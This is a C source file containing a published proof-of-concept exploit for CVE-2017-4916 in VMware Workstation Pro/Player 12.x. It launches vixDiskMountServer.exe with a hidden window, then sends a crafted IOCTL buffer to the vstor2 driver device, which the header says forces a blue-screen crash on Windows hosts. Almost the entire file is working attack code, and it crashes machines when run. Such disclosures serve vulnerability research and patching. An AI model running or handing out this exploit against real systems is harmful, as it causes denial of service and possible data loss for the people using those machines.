42 lines
No EOL
1.5 KiB
C
42 lines
No EOL
1.5 KiB
C
/*
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* Title: NULL pointer dereference vulnerability in vstor2 driver (VMware Workstation Pro/Player)
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* CVE: 2017-4916 (VMSA-2017-0009)
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* Author: Borja Merino (@BorjaMerino)
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* Date: May 18, 2017
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* Tested on: Windows 10 Pro and Windows 7 Pro (SP1) with VMware® Workstation 12 Pro (12.5.5 build-5234757)
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* Affected: VMware Workstation Pro/Player 12.x
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* Description: This p0c produces a BSOD by sending a specific IOCTL code to the vstor2_mntapi20_shared device
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* driver due to a double call to IofCompleteRequest (generating a MULTIPLE_IRP_COMPLETE_REQUESTS bug check)
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*/
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#include "windows.h"
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#include "stdio.h"
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void ioctl_crash()
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{
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HANDLE hfile;
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WCHAR *vstore = L"\\\\.\\vstor2-mntapi20-shared";
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DWORD dummy;
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char reply[0x3FDC];
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hfile = CreateFileW(vstore, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
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char buf[384] = "\x80\x01\x00\x00\xc8\xdc\x00\x00\xba\xab";
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DeviceIoControl(hfile, 0x2a002c, buf, 382, reply, sizeof(reply), &dummy, NULL);
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}
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void run_vix()
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{
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STARTUPINFO si;
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PROCESS_INFORMATION pi;
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RtlZeroMemory(&si, sizeof(si));
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RtlZeroMemory(&pi, sizeof(pi));
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si.dwFlags |= STARTF_USESHOWWINDOW;
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si.wShowWindow = SW_HIDE;
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DWORD createFlags = CREATE_SUSPENDED;
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CreateProcess(L"C:\\Program Files (x86)\\VMware\\VMware Workstation\\vixDiskMountServer.exe", NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
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}
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void main()
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{
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run_vix(); //Comment this if vixDiskMountServer.exe is already running
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ioctl_crash();
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} |